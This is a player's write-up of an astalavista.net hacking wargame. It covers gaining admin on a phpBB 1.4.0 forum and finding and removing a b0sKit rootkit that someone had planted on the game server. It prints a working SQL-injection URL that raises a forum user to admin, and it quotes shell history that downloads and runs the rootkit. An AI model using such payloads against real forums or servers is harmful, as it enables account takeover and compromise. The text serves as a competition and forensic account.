

Whitepaper for astalavista.net wargame #3 by Xe0r

I've didn't write about how I did all the target. I'm very sorry for this but the reason is that I didn't have the time. And when I had to buy a new PSU and HD and reinstall everything on my computer it doesn't help much.

In this whitepaper I've mainly concentrated on what that happened to the server in the middle of the game and how it got fixed.

Enjoy!

Target #1: Get MOD in the wargames-forum:

Before I even started to look around at this one I've looked for a version number. I looked at the button of the page where usually the version number is. I found it and it was version 1.4.0. Next I created a user. The next mission was to give my new user admin rights. A little search for "'phpbb 1.4.0" expliit' leaded me to a well known exploits that gave normal users admin rights.

It looked like this, the magic url to get admin rights:  
[http://212.254.194.174/phpBB/prefs.php?save=1&viewemail=1',user\\_level%3D'4'%20where%20username%3D'xe0r'%23](http://212.254.194.174/phpBB/prefs.php?save=1&viewemail=1',user_level%3D'4'%20where%20username%3D'xe0r'%23)

Target #3: Get the magic word!

I was really lazy on this one. I skipped this one currently and went to the next goal, rooting the box. Then I just did an 'cat /etc/magicword' to get the encrypted string. The encrypted string looked like this "c2VjdXJpdHlfaxNfZm9yX3doZWVuaWVz" and was encrypted in base64. Decoding it was easy, because of astlavista.net's Encryption Assortment Kit ;)

What happened to the box, why was it down?

It was still bothering me that I've got access denied when I've was trying to do 'ls'.

Why? I've didn't know yet. I just wanted to look around so I've just downloaded a fresh

version of ls from another box. After downloading the fresh version I've did an 'cp ls /bin/ls'

I answered yes to replace it but I've got access denied! I tried to do 'ps aux' to view

what processes that is currently running, but guess what.. I've got access denied to 'ps'.

I tried to 'rm -f /bin/ps' but without luck. Somehow those files were locked and not executable.

Trying to 'chmod 755 /bin/ps' didn't work either because the file was locked.

There isn't many ways to actually lock files under linux. But the first thing that

popped into my head was that it could be wrong attributes. The command to change attributes

is 'chattr', and the command to check them is 'lsattr'.

I've did an 'lsattr /bin/\*' and found out lots of files which had the attribute +ias.

+i stands for a very strong write protection thing. No one can write/delete or even (I think) hard link to it.

+a stands for append only, which means that you cannot delete or modify the file only append to it like echo "whoppa" >> append\_only\_file. Only root can set that attribute.

+s stands for, I'm not really sure but I think it is some kind of

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system file.

I've really never used it.

That files in the /bin dir has attributes was weird because no files in that dir should have that.

I've looked looking through the .bash\_history in the /root folder and found some scary shit!

One of the line was something like this, 'wget www.server.com/tc.zip'. And the three lines

below that was 'unzip tc.zip', 'cd tc' and something like './tc'.

I've downloaded the file on local computer and opened the README file to see what this shit was.

Just as I guessed, it was an root kit (b0sKit by termCREW) I've looked on which files the root kit replaced and the result was terrifying.

Under /bin/ it replaced and changed attributes on: dir, encrypt, find, ifconfig, in.inetd, ls, lsof, md5sum, netstat, ps, pstree, slocate, syslogd, top

Under /lib/ it replaced this files: libproc.a, libproc.so, libproc.so.2.0.6

I couldn't work with this so I changed ls and ps attributes to -ias so I could

replace them with fresh ones that I got from another private server. I also downloaded fresh versions of every files in the list, but not fresh libs.

The replacement of ls and ps did take place before I knew the whole list of files.

Now I could finally take a look around on the server. I've looked at .bash\_history files and

in many different logs. It was pretty funny to see what was in the apache error log. ;)

The apache error log took around 1GB after an week!

After this I left the server for a while, only checking some .bash\_history files now and then.

I was reading the astalavista.net wargame forum when I found out that the server was down.

Gwanun said he couldn't get it up again after a reboot because he couldn't get the NIC up and running. There was something wrong with ifconfig and the libs.

I've U2U'ed him with some info that could help him on his way to fix it again. I didn't know if

my resepie of changing out the libs and all the other files would work, but after one day

Gwanun U2U'ed me back with good news! Thanks Gwanun!

Well, that was the story of what that happened to the wargame and why it was down...

I want to say thanks for a good war game everyone especially Atluxity && Spoofed Existence! :D

- Xe0r